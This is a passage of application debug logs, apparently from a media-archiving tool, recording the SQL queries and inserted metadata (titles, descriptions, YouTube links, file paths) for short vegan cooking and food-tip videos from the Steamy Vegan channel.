autumn. It's like Thanksgiving dinner in a burger and it's so delicious. Check out our full savory pumpkin spice taste test video below where we transform a pizza, a burger and hummus to be pumpkin spiced and fall inspired: https://youtu.be/T5lWnETEDKI", "The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts", 1, 52, false, "dIqX0uAOwU4", "https://www.youtube.com/shorts/dIqX0uAOwU4", "/downloads/downloads/alec/Steamy Vegan/2022-10-03 The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts/The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts [dIqX0uAOwU4].NA", true, ~U[2022-10-03 19:00:12Z]] 20:31:10.108 [debug] QUERY OK source="sources" db=1.3ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.111 [debug] QUERY OK source="media_items" db=2.6ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-03 16:42:17Z], 1] 20:31:10.113 [debug] QUERY OK source="media_items" db=1.5ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You've gotta try making a pumpkin spiced pizza, burger, or hummus. We taste tested these three dishes in this pumpkin spice savory challenge and the end results were amazing. We've got a couple new favorite foods after this episode.\n\nCheck out the full taste test here: https://youtu.be/T5lWnETEDKI", "We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts", "dce7eb66-aacf-426a-b1bf-ec5a9f3054e9", 1, [], 30, false, "nk4TiV5prkQ", "https://www.youtube.com/shorts/nk4TiV5prkQ", 234, "/downloads/downloads/alec/Steamy Vegan/2022-10-03 We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts/We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts [nk4TiV5prkQ].NA", false, false, true, 2, ~U[2022-10-03 16:42:17Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "You've gotta try making a pumpkin spiced pizza, burger, or hummus. We taste tested these three dishes in this pumpkin spice savory challenge and the end results were amazing. We've got a couple new favorite foods after this episode.\n\nCheck out the full taste test here: https://youtu.be/T5lWnETEDKI", "We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts", 1, 30, false, "nk4TiV5prkQ", "https://www.youtube.com/shorts/nk4TiV5prkQ", "/downloads/downloads/alec/Steamy Vegan/2022-10-03 We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts/We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts [nk4TiV5prkQ].NA", true, ~U[2022-10-03 16:42:17Z]] 20:31:10.115 [debug] QUERY OK source="sources" db=1.7ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.118 [debug] QUERY OK source="media_items" db=3.1ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-27 18:10:03Z], 1] 20:31:10.124 [debug] QUERY OK source="media_items" db=1.9ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Video: https://youtu.be/eEFBoMW49U0\n\nFind out which vegan sausage gets crowned King Sausage the first in this vegan sausage taste test. The crowning ceremony is quite something to behold!", "Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts", "e2856485-95f9-4a91-805f-14627cee2f3e", 1, [], 59, false, "9CwWeALcJ-o", "https://www.youtube.com/shorts/9CwWeALcJ-o", 235, "/downloads/downloads/alec/Steamy Vegan/2022-09-27 Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts/Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts [9CwWeALcJ-o].NA", false, false, true, 1, ~U[2022-09-27 18:10:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full Video: https://youtu.be/eEFBoMW49U0\n\nFind out which vegan sausage gets crowned King Sausage the first in this vegan sausage taste test. The crowning ceremony is quite something to behold!", "Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts", 1, 59, false, "9CwWeALcJ-o", "https://www.youtube.com/shorts/9CwWeALcJ-o", "/downloads/downloads/alec/Steamy Vegan/2022-09-27 Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts/Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts [9CwWeALcJ-o].NA", true, ~U[2022-09-27 18:10:03Z]] 20:31:10.126 [debug] QUERY OK source="sources" db=1.8ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.129 [debug] QUERY OK source="media_items" db=3.1ms idle=13.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-26 19:00:14Z], 1] 20:31:10.130 [debug] QUERY OK source="media_items" db=0.7ms idle=14.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["'Cause no one likes cutting into a rock-hard lime 😉\n\nKeep ALL your citrus fruits in the crisper drawer of your fridge to prevent the skins from drying out, becoming hard to cut into, and losing their juice! The cold keeps them firm, hydrated and fresher for longer. Follow @steamyvegan for more simple food hacks!\n\nCheck out the FULL video on How to Keep Your Produce Fresher For Longer: https://youtu.be/JD3i1XiCbEU", "No more hard and shrivelled citrus fruit! 🍊🍋", "e060da99-90cc-44b1-92c8-c337ee689dd5", 1, [], 30, false, "K6oL_sR56t8", "https://www.youtube.com/shorts/K6oL_sR56t8", 236, "/downloads/downloads/alec/Steamy Vegan/2022-09-26 No more hard and shrivelled citrus fruit! 🍊🍋/No more hard and shrivelled citrus fruit! 🍊🍋 [K6oL_sR56t8].NA", false, false, true, 1, ~U[2022-09-26 19:00:14Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "'Cause no one likes cutting into a rock-hard lime 😉\n\nKeep ALL your citrus fruits in the crisper drawer of your fridge to prevent the skins from drying out, becoming hard to cut into, and losing their juice! The cold keeps them firm, hydrated and fresher for longer. Follow @steamyvegan for more simple food hacks!\n\nCheck out the FULL video on How to Keep Your Produce Fresher For Longer: https://youtu.be/JD3i1XiCbEU", "No more hard and shrivelled citrus fruit! 🍊🍋", 1, 30, false, "K6oL_sR56t8", "https://www.youtube.com/shorts/K6oL_sR56t8", "/downloads/downloads/alec/Steamy Vegan/2022-09-26 No more hard and shrivelled citrus fruit! 🍊🍋/No more hard and shrivelled citrus fruit! 🍊🍋 [K6oL_sR56t8].NA", true, ~U[2022-09-26 19:00:14Z]] 20:31:10.131 [debug] QUERY OK source="sources" db=0.5ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.134 [debug] QUERY OK source="media_items" db=2.4ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-25 21:10:00Z], 1] 20:31:10.137 [debug] QUERY OK source="media_items" db=2.2ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test 4 of the best vegan sausages to determine which one is the best and biggest sausage. If you're interested in this vegan sausage taste test then you'll want to check out the full review video here: https://youtu.be/eEFBoMW49U0\n\nDon't forget to subscribe if you enjoy vegan and gluten free food recipes or taste test videos! Thanks for your support!", "This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts", "6ee5e75b-cb4c-4963-8b18-1246658c628c", 1, [], 15, false, "A9GVw9gxyIk", "https://www.youtube.com/shorts/A9GVw9gxyIk", 237, "/downloads/downloads/alec/Steamy Vegan/2022-09-25 This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts/This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts [A9GVw9gxyIk].NA", false, false, true, 2, ~U[2022-09-25 21:10:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We taste test 4 of the best vegan sausages to determine which one is the best and biggest sausage. If you're interested in this vegan sausage taste test then you'll want to check out the full review video here: https://youtu.be/eEFBoMW49U0\n\nDon't forget to subscribe if you enjoy vegan and gluten free food recipes or taste test videos! Thanks for your support!", "This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts", 1, 15, false, "A9GVw9gxyIk", "https://www.youtube.com/shorts/A9GVw9gxyIk", "/downloads/downloads/alec/Steamy Vegan/2022-09-25 This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts/This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts [A9GVw9gxyIk].NA", true, ~U[2022-09-25 21:10:00Z]] 20:31:10.138 [debug] QUERY OK source="sources" db=0.9ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.142 [debug] QUERY OK source="media_items" db=3.4ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-25 18:11:00Z], 1] 20:31:10.143 [debug] QUERY OK source="media_items" db=0.9ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test 4 of the best vegan sausages in this ultimate vegan sausage taste test video. Check out the full video here: https://youtu.be/eEFBoMW49U0", "You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts", "e9014fee-e6ca-4ca2-9b94-8780aaf27427", 1, [], 15, false, "XL5cuC03zF8", "https://www.youtube.com/shorts/XL5cuC03zF8", 238, "/downloads/downloads/alec/Steamy Vegan/2022-09-25 You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts/You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts [XL5cuC03zF8].NA", false, false, true, 2, ~U[2022-09-25 18:11:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We taste test 4 of the best vegan sausages in this ultimate vegan sausage taste test video. Check out the full video here: https://youtu.be/eEFBoMW49U0", "You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts", 1, 15, false, "XL5cuC03zF8", "https://www.youtube.com/shorts/XL5cuC03zF8", "/downloads/downloads/alec/Steamy Vegan/2022-09-25 You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts/You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts [XL5cuC03zF8].NA", true, ~U[2022-09-25 18:11:00Z]] 20:31:10.146 [debug] QUERY OK source="sources" db=2.2ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.149 [debug] QUERY OK source="media_items" db=2.5ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-21 16:30:01Z], 1] 20:31:10.151 [debug] QUERY OK source="media_items" db=1.6ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full Stranger Things taste test video here: https://youtu.be/MSUT1TA9hQ4\n\nWe ventured into the upside down to figure out what you'd eat while down there. Things get weird and wacky in this 16 minute Stranger Things taste test video. \n\nSubscribe and stay tuned for our weekly Saturday morning show and weekly vegan and gluten free recipe videos on the channel. Thanks for your support!", "Stranger Things Taste Test 👽👾#shorts #youtubeshorts", "90bec29f-bfc5-477d-96de-327dcad50f6c", 1, [], 15, false, "4Ubh-MZ_mgA", "https://www.youtube.com/shorts/4Ubh-MZ_mgA", 239, "/downloads/downloads/alec/Steamy Vegan/2022-09-21 Stranger Things Taste Test 👽👾#shorts #youtubeshorts/Stranger Things Taste Test 👽👾#shorts #youtubeshorts [4Ubh-MZ_mgA].NA", false, false, true, 1, ~U[2022-09-21 16:30:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out our full Stranger Things taste test video here: https://youtu.be/MSUT1TA9hQ4\n\nWe ventured into the upside down to figure out what you'd eat while down there. Things get weird and wacky in this 16 minute Stranger Things taste test video. \n\nSubscribe and stay tuned for our weekly Saturday morning show and weekly vegan and gluten free recipe videos on the channel. Thanks for your support!", "Stranger Things Taste Test 👽👾#shorts #youtubeshorts", 1, 15, false, "4Ubh-MZ_mgA", "https://www.youtube.com/shorts/4Ubh-MZ_mgA", "/downloads/downloads/alec/Steamy Vegan/2022-09-21 Stranger Things Taste Test 👽👾#shorts #youtubeshorts/Stranger Things Taste Test 👽👾#shorts #youtubeshorts [4Ubh-MZ_mgA].NA", true, ~U[2022-09-21 16:30:01Z]] 20:31:10.152 [debug] QUERY OK source="sources" db=0.9ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.155 [debug] QUERY OK source="media_items" db=2.1ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-20 15:23:11Z], 1] 20:31:10.156 [debug] QUERY OK source="media_items" db=0.7ms idle=9.1ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to keep produce fresher for longer! 😲 No more floppy celery", "a4f72e3e-9593-4a4b-b1cd-078fb0818403", 1, [], 27, false, "7aev2rOGj0U", "https://www.youtube.com/shorts/7aev2rOGj0U", 240, "/downloads/downloads/alec/Steamy Vegan/2022-09-20 How to keep produce fresher for longer! 😲 No more floppy celery/How to keep produce fresher for longer! 😲 No more floppy celery [7aev2rOGj0U].NA", false, false, true, 1, ~U[2022-09-20 15:23:11Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "How to keep produce fresher for longer! 😲 No more floppy celery", 1, 27, false, "7aev2rOGj0U", "https://www.youtube.com/shorts/7aev2rOGj0U", "/downloads/downloads/alec/Steamy Vegan/2022-09-20 How to keep produce fresher for longer! 😲 No more floppy celery/How to keep produce fresher for longer! 😲 No more floppy celery [7aev2rOGj0U].NA", true, ~U[2022-09-20 15:23:11Z]] 20:31:10.158 [debug] QUERY OK source="sources" db=1.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.161 [debug] QUERY OK source="media_items" db=2.7ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-17 17:00:22Z], 1] 20:31:10.162 [debug] QUERY OK source="media_items" db=0.8ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our latest morning show episode we ventured down into the Stranger Things upside down to see what kind of weird food you'd eat down there. Check out the full Stranger Things themed taste test video here: https://youtu.be/MSUT1TA9hQ4", "The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts", "02e48691-e0d5-47f1-ae6c-064d51634d0d", 1, [], 15, false, "L3iyG5vKrw4", "https://www.youtube.com/shorts/L3iyG5vKrw4", 241, "/downloads/downloads/alec/Steamy Vegan/2022-09-17 The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts/The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts [L3iyG5vKrw4].NA", false, false, true, 1, ~U[2022-09-17 17:00:22Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "In our latest morning show episode we ventured down into the Stranger Things upside down to see what kind of weird food you'd eat down there. Check out the full Stranger Things themed taste test video here: https://youtu.be/MSUT1TA9hQ4", "The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts", 1, 15, false, "L3iyG5vKrw4", "https://www.youtube.com/shorts/L3iyG5vKrw4", "/downloads/downloads/alec/Steamy Vegan/2022-09-17 The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts/The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts [L3iyG5vKrw4].NA", true, ~U[2022-09-17 17:00:22Z]] 20:31:10.163 [debug] QUERY OK source="sources" db=0.6ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.166 [debug] QUERY OK source="media_items" db=2.0ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-16 23:21:12Z], 1] 20:31:10.168 [debug] QUERY OK source="media_items" db=1.6ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to stop your herbs from wilting! SAVE THIS POST! ✔️\n\nThere’s a few ways to keep your herbs fresh and crisp but keeping them in a jar of water is by far the most effective! Some herbs like cilantro and parsley do best in the fridge but others like basil do better on the counter at room temp. Simply snip off the bottom inch or so of the stems so they’re able to suck up the water better. Your herbs should last up to a week or more this way! Give it a try 😉", "How to stop your herbs from wilting 🥀 Reduce food waste!", "5daf956c-e18c-4bdb-a45a-83228e420265", 1, [], 27, false, "DZ-DgTjuQhg", "https://www.youtube.com/shorts/DZ-DgTjuQhg", 242, "/downloads/downloads/alec/Steamy Vegan/2022-09-16 How to stop your herbs from wilting 🥀 Reduce food waste!/How to stop your herbs from wilting 🥀 Reduce food waste! [DZ-DgTjuQhg].NA", false, false, true, 1, ~U[2022-09-16 23:21:12Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "How to stop your herbs from wilting! SAVE THIS POST! ✔️\n\nThere’s a few ways to keep your herbs fresh and crisp but keeping them in a jar of water is by far the most effective! Some herbs like cilantro and parsley do best in the fridge but others like basil do better on the counter at room temp. Simply snip off the bottom inch or so of the stems so they’re able to suck up the water better. Your herbs should last up to a week or more this way! Give it a try 😉", "How to stop your herbs from wilting 🥀 Reduce food waste!", 1, 27, false, "DZ-DgTjuQhg", "https://www.youtube.com/shorts/DZ-DgTjuQhg", "/downloads/downloads/alec/Steamy Vegan/2022-09-16 How to stop your herbs from wilting 🥀 Reduce food waste!/How to stop your herbs from wilting 🥀 Reduce food waste! [DZ-DgTjuQhg].NA", true, ~U[2022-09-16 23:21:12Z]] 20:31:10.169 [debug] QUERY OK source="sources" db=0.4ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.171 [debug] QUERY OK source="media_items" db=1.7ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-14 18:17:00Z], 1] 20:31:10.172 [debug] QUERY OK source="media_items" db=0.6ms idle=8.2ms INSERT INTO "media_items" AS m0 